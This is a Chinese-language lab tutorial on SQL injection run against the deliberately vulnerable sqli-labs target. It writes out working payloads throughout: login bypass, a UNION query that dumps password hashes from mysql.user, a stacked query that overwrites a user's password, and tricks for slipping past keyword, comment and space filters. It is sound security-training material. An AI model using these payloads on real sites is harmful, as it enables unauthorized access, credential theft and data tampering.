SQL注入及实战

本文记录各种SQL注入类型的实操过程

SQL注入定义:由于程序中对用户输入检查不严格,用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入

SQL注入本质:对于输入检查不充分,导致SQL语句将用户提交的非法数据当作语句的一部分来执行。

实战环境:VMware Workstations、Kali虚拟机、SQL注入测试靶机、xampp、部署sqli-labs

一. 单引号报错注入

含义:参数中加入单引号,导致sql语句单引号不能闭合,引发报错

目的:通过一种简单的方法快速检测目标系统是否存在SQL注入漏洞

  1. 通过正常访问方式查看Dumb用户的密码http://ip/sqli-labs/Less-1/?id=1

  1. 访问http://ip/sqli-labs/Less-1/?id=1’出现报错,说明存在漏洞(因为传入 1’ 后,SQL语句变成 select * from users where id=‘1’',导致单引号不能闭合)

二. 基于报错回显

显注:注入后,web界面返回指定的数据或数据库引擎报错信息,攻击者可直接从返回信息中获取到所需的数据

含义:将所需要的数据作为错误回显

自己ip:http://192.168.93.129 加上所传入的参数构成完整url,借助SQL靶机环境就可以进行验证

传入参数:/sqli-labs/Less-1/?id=1’ union select 1,updatexml(1,concat(0x7e,VERSION()),1) – 1

三. 万能密码登录

含义:采用or改变登录验证的逻辑,绕过密码验证

目的:在不知道密码的情况下,利用“万能密码”登录到目标系统

  1. Username 输入admin Password 随意输入,比如1,发现登录失败,结果如下

  1. 采用万能密码 传入参数passwd=1’ or username=‘admin’ – 1 发现登录成功,结果如下

    SQL语句变为:SELECT username, password FROM users WHERE username=‘admin’ and password=‘1’ or username=‘admin’ – 1’ LIMIT 0,1;

四 、盲注

盲注含义:注入后,web界面不直接返回数据库的数据,需要通过其他方式获取到数据库中的数据。盲注又分为基于时间的盲注、基于布尔的盲注、基于dnslog的盲注

1. 基于布尔的盲注

含义:查询语句中“真”和“假”返回的页面不一样,构造逻辑判断的语句,判断数据库中的数据

目的:对目标链接进行测试,加入逻辑判断语句,验证目标链接是否存在漏洞(如果存在,就可以获取其他信息,比如这里的数据库长度)

  1. 传入 /sqli-labs/Less-8/?id=1’ and 1=1 – 1 返回 you are in

  1. 传入 /sqli-labs/Less-8/?id=1’ and 1=2 – 1 没有返回you are in 说明存在漏洞

判断存在漏洞后,可以利用该漏洞来获得数据库长度,如以下3、4点:

  1. 传入 /sqli-labs/Less-8/?id=1’ and length(database())=7 – 1 测试数据库长度,没有返回you are in,说明数据库长度不是7

  1. /sqli-labs/Less-8/?id=1’ and length(database())=8 – 1 返回you are in,说明数据库长度为8

2. 基于时间的盲注

含义:构造逻辑判断加上时间延迟,根据时间延迟判断逻辑判断是否成立

目的:对目标链接进行测试,加入时间延迟语句,验证目标链接是否存在漏洞(如果存在,就可以获取其他信息,比如这里的数据库长度)

  1. 传入 /sqli-labs/Less-9/?id=1’ and sleep(3) – 1 根据有时间延迟判断存在时间盲注

SQL语句变为:SELECT * FROM users WHERE id=‘1’ and sleep(3) – 1’ LIMIT 0,1

  1. 传入 /sqli-labs/Less-9/?id=1’ and if(length(database())=8 ,sleep(3),true) – 1 根据有时间延迟判断数据库长度为8

五. 联合查询注入

含义:采用union查询,来获取其他表的信息

目的:通过联合查询,获取数据库root用户的密码hash(必须root用户,不需要解密成明文)

传入 /sqli-labs/Less-1/?id=1’ UNION (SELECT 0,User,Password FROM mysql.user) ORDER BY id; – 1

SQL语句变为:SELECT * FROM users WHERE id=‘1’ UNION (SELECT 0,User,Password FROM mysql.user) ORDER BY id; – 1’ LIMIT 0,1;

成功从mysql库的user表中获取到login用户的密码hash,并且能够解密出明文密码

六. 堆叠查询注入

含义:通过;符号,将多条sql语句叠加一起执行,堆叠查询注入危害更大,可以执行任何sql语句

目的:修改用户密码

传入 /sqli-labs/Less-38/?id=1’;update users set password=‘test’ where username=‘Dumb’;-- 1

SQL语句变为:SELECT * FROM users WHERE id=‘1’;update users set password=‘test’ where username=‘Dumb’;-- 1’ LIMIT 0,1

成功修改Dump数据库的密码为”test”

七、进阶利用(绕过)

为什么需要绕过?网站或者安全防护设备中,对传入参数进行了一些敏感字符过滤,导致无法成功注入,需要通过一些手段绕过敏感字符过滤

1. 绕过注释过滤注入

含义:对–、#字符进行了过滤,导致sql语句单引号无法闭合

传入 /sqli-labs/Less-23/?id=1’ or 1=1 – 1

那么 id=1’ or 1=1 – 1,–被过滤掉后,变成id=1’ or 1=1 1

SQL语句变为:SELECT * FROM users WHERE id=‘1’ or 1=1 1’ LIMIT 0,1 单引号没有闭合,语句执行报错

所以,通过手动增加单引号进行闭合,id=1’ or 1=1 or 1=’

SQL语句变为:SELECT * FROM users WHERE id=‘1’ or 1=1 or 1=‘’ LIMIT 0,1

2. 逻辑运算过滤绕过

含义:对and、or进行过滤,导致sql执行报错

传入 /sqli-labs/Less-25/?id=1’ or 1=1 – 1

id=1’ or 1=1 – 1过滤后变成id=1’ 1=1 – 1,运行报错

解决办法?将and替换成&&或者anandd,or替换成||或者oorr,可成功运行

将参数改为 id=1’ oorr 1=1 – 1 将or变成 oorr 运行成功

将参数改为 id=1’ || 1=1 – 1 将or变成 || 运行成功

3. 空格过滤绕过

含义:对空格进行过滤,导致SQL执行报错

传入 /sqli-labs/Less-26b/?id=1’ or 1=1 or 1=’

id=1’ or 1=1 or 1=‘过滤后变成id=1’or1=1or1=’ 导致SQL执行出错

SQL语句中制表符、新行、新页、return、()、/**/等都可以代替空格

将参数改成id=1’/*/or/*/1=1/**/or/**/1=’

4. union和select过滤绕过

含义:对union和select进行过滤,导致SQL执行报错

传入 /sqli-labs/Less-27b/?id=1’ UNION (SELECT 0,User,Password FROM mysql.user) ORDER BY id; – 1

过滤后id=1’ ( 0,User,Password FROM mysql.user) ORDER BY id; – 1

将union和select大小写混写,或双写:

将参数改为 id=1’ uNion (sElect 0,User,Password FROM mysql.user) ORDER BY id; – 1

将参数改为 id=1’ UNUNIONION (SESELECTLECT 0,User,Password FROM mysql.user) ORDER BY id; – 1


总结:学习SQL注入的各种类型(单引号报错注入、基于报错回显、万能密码登录、盲注(基于时间、基于布尔、基于DNSLOG)、联合查询、绕过(注释过滤、逻辑运算、空格过滤、union和select过滤、))以及实操。

更多推荐

SQL注入及实战